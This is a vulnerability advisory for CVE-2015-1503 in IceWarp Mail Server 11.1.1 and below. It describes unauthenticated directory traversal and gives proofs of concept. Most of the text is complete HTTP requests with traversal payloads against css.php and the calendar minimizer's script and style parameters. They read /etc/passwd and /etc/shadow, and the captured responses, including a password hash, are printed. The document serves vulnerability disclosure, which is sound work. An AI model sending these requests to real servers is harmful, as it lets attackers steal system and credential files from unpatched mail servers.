119 lines
No EOL
4.6 KiB
Text
119 lines
No EOL
4.6 KiB
Text
Vendor: IceWarp (http://www.icewarp.com)
|
|
Product: IceWarp Mail Server
|
|
Version affected: 11.1.1 and below
|
|
|
|
Product description:
|
|
IceWarp WebMail provides web-based access to email, calendars, contacts, files and shared data from any computer with a browser and Internet connection.
|
|
IceWarp Mail Server is a commercial mail and groupware server developed by IceWarp Ltd. It runs on Windows and Linux.
|
|
|
|
Finding 1: Multiple Unauthenticated Directory traversal
|
|
Credit: Piotr Karolak of Trustwave's SpiderLabs
|
|
CVE: CVE-2015-1503
|
|
CWE: CWE-22
|
|
|
|
#Proof of Concept
|
|
|
|
The unauthenticated Directory Traversal vulnerability can be exploited by
|
|
issuing a specially crafted HTTP GET request to the
|
|
/webmail/client/skins/default/css/css.php. Directory Traversal is a
|
|
vulnerability which allows attackers to access restricted directories and
|
|
execute commands outside of the web server's root directory.
|
|
|
|
This vulnerability affects /-.._._.--.._1416610368(variable, depending on
|
|
the installation, need to check page
|
|
source)/webmail/client/skins/default/css/css.php.
|
|
|
|
Attack details
|
|
URL GET input file was set to ../../../../../../../../../../etc/passwd
|
|
|
|
Proof-of-Concept:
|
|
|
|
The GET or POST request might be sent to the host A.B.C.D where the IceWarp mail server is running:
|
|
|
|
REQUEST
|
|
=======
|
|
GET /-.._._.--.._1416610368/webmail/client/skins/default/css/css.php?file=../../../../../../../../../../etc/passwd&palette=default&skin=default HTTP/1.1
|
|
Referer: http://a.b.c.d/
|
|
Cookie: PHPSESSID_BASIC=wm-54abaf5b3eb4d824333000; use_cookies=1; lastLogin=en%7Cbasic; sess_suffix=basic; basic_disable_ip_check=1; lastUsername=test; language=en
|
|
Host: a.b.c.d
|
|
Connection: Keep-alive
|
|
Accept-Encoding: gzip,deflate
|
|
Accept: */*
|
|
|
|
|
|
RESPONSE:
|
|
=========
|
|
root:x:0:0:root:/root:/bin/bash
|
|
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|
|
bin:x:2:2:bin:/bin:/usr/sbin/nologin
|
|
|
|
....TRUNCATED
|
|
|
|
test:x:1000:1000:test,,,:/home/test:/bin/bash
|
|
smmta:x:116:125:Mail Transfer Agent,,,:/var/lib/sendmail:/bin/false
|
|
smmsp:x:117:126:Mail Submission Program,,,:/var/lib/sendmail:/bin/false
|
|
mysql:x:118:127:MySQL Server,,,:/nonexistent:/bin/false
|
|
|
|
The above proof-of-concept would retrieve the /etc/passwd file (the
|
|
response in this example has been truncated).
|
|
|
|
#Proof of Concept
|
|
|
|
The unauthenticated Directory Traversal vulnerability can be exploited by
|
|
issuing a specially crafted HTTP GET and POST request payload
|
|
..././..././..././..././..././..././..././..././..././..././etc/shadow
|
|
submitted in the script and/or style parameter. Directory Traversal is a
|
|
vulnerability which allows attackers to access restricted directories and
|
|
execute commands outside of the web server's root directory.
|
|
|
|
The script and style parameters are vulnerable to path traversal attacks,
|
|
enabling read access to arbitrary files on the server.
|
|
|
|
REQUEST 1
|
|
=========
|
|
|
|
GET /webmail/old/calendar/minimizer/index.php?script=...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2fetc%2fshadow HTTP/1.1
|
|
Host: a.b.c.d
|
|
Accept: */*
|
|
Accept-Language: en
|
|
Connection: close
|
|
Referer: http://a.b.c.d/webmail/old/calendar/index.html?_n[p][content]=event.main&_n[p][main]=win.main.public&_n[w]=main
|
|
Cookie: use_cookies=1; PHPSESSID_LOGIN=08dj6q5s8tlmn126fo3vg80n47; sess_suffix=basic; lastUsername=test; PHPSESSID_CALENDAR=ji3306tg3fecg1foun2ha6dnu1; GUI=advanced; LANG=TURKISH; PHPSESSID_BASIC=wm-54a5b90472921449948637; lastLogin=en%7Cpda; prefered_version=0; PHPSESSID_PDA=ji3306tg3fecg1foun2ha6dnu1; language=en
|
|
|
|
REQUEST 2
|
|
=========
|
|
|
|
GET /webmail/old/calendar/minimizer/index.php?style=...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2fetc%2fshadow HTTP/1.1
|
|
Host: a.b.c.d
|
|
Accept: */*
|
|
Accept-Language: en
|
|
Connection: close
|
|
Cookie: use_cookies=1; PHPSESSID_LOGIN=08dj6q5s8tlmn126fo3vg80n47; sess_suffix=basic; lastUsername=test; PHPSESSID_CALENDAR=ji3306tg3fecg1foun2ha6dnu1; GUI=advanced; LANG=TURKISH; PHPSESSID_BASIC=wm-54a5b90472921449948637; lastLogin=en%7Cpda; prefered_version=0; PHPSESSID_PDA=ji3306tg3fecg1foun2ha6dnu1; language=en
|
|
|
|
RESPONSE
|
|
========
|
|
HTTP/1.1 200 OK
|
|
Connection: close
|
|
Server: IceWarp/11.1.1.0
|
|
Date: Thu, 03 Jan 2015 06:44:23 GMT
|
|
Content-type: text/javascript; charset=utf-8
|
|
|
|
root:!:16436:0:99999:7:::
|
|
daemon:*:16273:0:99999:7:::
|
|
bin:*:16273:0:99999:7:::
|
|
sys:*:16273:0:99999:7:::
|
|
sync:*:16273:0:99999:7:::
|
|
games:*:16273:0:99999:7:::
|
|
man:*:16273:0:99999:7:::
|
|
lp:*:16273:0:99999:7:::
|
|
|
|
....TRUNCATED
|
|
|
|
lightdm:*:16273:0:99999:7:::
|
|
colord:*:16273:0:99999:7:::
|
|
hplip:*:16273:0:99999:7:::
|
|
pulse:*:16273:0:99999:7:::
|
|
test:$1$Duuk9PXN$IzWNTK/hPfl2jzhHmnrVL.:16436:0:99999:7:::
|
|
smmta:*:16436:0:99999:7:::
|
|
smmsp:*:16436:0:99999:7:::
|
|
mysql:!:16436:0:99999:7::: |